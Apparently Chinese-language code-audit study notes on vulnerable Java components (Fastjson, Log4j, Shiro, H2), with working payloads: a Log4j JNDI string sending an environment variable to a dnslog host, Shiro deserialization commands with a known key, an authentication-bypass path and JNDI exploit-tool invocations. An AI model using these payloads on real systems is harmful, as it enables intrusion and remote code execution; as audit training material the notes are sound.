代码审计-JavaEE开发篇&第三方组件&依赖库挖掘&FastJson&Shrio&Log4j&H2DB
#JavaEE审计-第三方组件安全
1、找存在漏洞的第三方组件(Package Checker插件)
2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)
3、找可控地方进行测试检测(根据网上已知漏洞利用条件)
常见第三方组件或框架漏洞列表:
Solr Shiro Fastjson Jackson Log4j SnakeYaml Hessian H2database
Xsteam、Druid、Struts2、Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring等。
#Tmall-Fastjson 1.2.58
触发点:JSON.parseObject() JSON.parse()
全局搜索->JSON.parseObject()->propertyJson->admin/product
{"@type":"java.net.Inet4Address","val":"gc6gcn.dnslog.cn"}
#Tmall-Log4j 2.10.0
触发点:logger.error logger.info
全局搜索->logger.info->originalFileName->admin/uploadAdminHeadImage
${jndi:ldap://${env:OS}.mq6bqf.dnslog.cn}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
#Ruoyi-Shiro 1.4.2
1、反序列化:
setCipherKey->fCq+/xW488hMTCD+cmJ3aQ==
https://github.com/Ares-X/shiro-exploit
python shiro-exploit.py check -u http://192.168.1.2/
python shiro-exploit.py echo -g CommonsCollectionsK1 -u http://192.168.1.2/ -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami
2、权限绕过:
-anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口
-authc为登录拦截器,需要登录认证才能访问的资源。
例子:
[urls]
/index.html = anon 允许访问
/user/** = authc 需要验证
shiro匹配规则
?:匹配一个字符
*:匹配零个或多个字符串
**:匹配路径中的零个或多个路径
配置:com/ruoyi/framework/config/ShiroConfig.java
绕过:https://www.freebuf.com/vuls/231909.html
测试:/ajax;/../common/download/resource?resource=/profile/1.txt
#Halo-H2database 1.4.197
H2database->application.yaml->web-allow-others: true
javax.naming.InitialContext
ldap://192.168.139.1:1389/5eebf8
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"